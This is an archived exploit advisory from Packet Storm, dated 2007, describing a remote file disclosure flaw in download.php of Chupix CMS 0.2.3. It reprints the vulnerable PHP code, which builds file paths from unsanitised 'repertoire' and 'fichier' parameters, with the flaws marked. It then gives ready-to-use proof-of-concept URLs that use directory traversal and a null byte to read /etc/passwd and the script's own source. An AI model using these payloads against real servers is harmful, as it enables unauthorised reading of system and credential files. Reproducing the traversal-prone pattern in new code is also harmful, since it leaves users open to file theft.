what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

chupix-file.txt

chupix-file.txt
Posted Sep 18, 2007
Authored by GolD_M | Site tryag.cc

Chupix CMS version 0.2.3 suffers from a remote file disclosure vulnerability in download.php.

tags | exploit, remote, php
SHA-256 | 56b177ef7f1a44354490fc412225eb9c1334e502954b670ecf0b9ad2df6a3184

chupix-file.txt

Change Mirror Download
# Chupix CMS 0.2.3 (download.php) Remote File Download Vulnerability
# P.Script : http://sourceforge.net/project/showfiles.php?group_id=134930
################################download.php################################
Lain:18->57 ->
********************************************************************************************************************
if(isset($_GET['fichier'])){ <--------------XXXX
*
// téléchargement du fichier
*
$file = "archives/". $_GET['repertoire'] ."/".
$_GET['fichier'];<--------------XXXX *
$fichier_txt = "archives/". $_GET['repertoire'] ."/cpt/". $_GET['fichier']
.".php" *
$repertoire = "archives/". $_GET['repertoire'] ."/cpt/";
*
if(is_file($fichier_txt)){
*
$fp = @fopen($fichier_txt, "r"); <--------------XXXX
*
$result = fread($fp, filesize ($fichier_txt));
*
fclose($fp);
*
$result = str_replace("<?php ", "", $result);
*
$result = str_replace("?>", "", $result);
*

*
$num = trim($result);
*
}else{
*
$num = 0;
*
}
*
$num++;
*

*
$msg = "<?php ". $num ." ?>";
*

*
if(!(is_dir($repertoire))){
*
mkdir ($repertoire, 0755);
*
}
*

*
$fp = @fopen($fichier_txt, "w+");<--------------XXXX
*
if (flock($fp, LOCK_EX)) { // pose un verrou exclusif
*
fwrite($fp, $msg);
*
flock($fp, LOCK_UN); // libère le verrou
*
}else{
*
echo "Impossible de verrouiller le fichier <font color=\"maroon\">".
$fichier ."</font>"; *
}
*
fclose($fp);
*

*
*

*

*
header("Content-type: application/force-download");
*
header("Content-Disposition: attachment; filename=".$_GET['fichier']);
*
readfile($file);<--------------XXXX
*
}
*
********************************************************************************************************************
# POC:
/download.php?repertoire=defaut&fichier=../../download.php
/download.php?fichier=../../../../../../../etc/passwd%00
# Discovered by: GoLd_M
# SP.TanX = Tryag.Com & Asb-May.Net & Milw0rm.Com
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close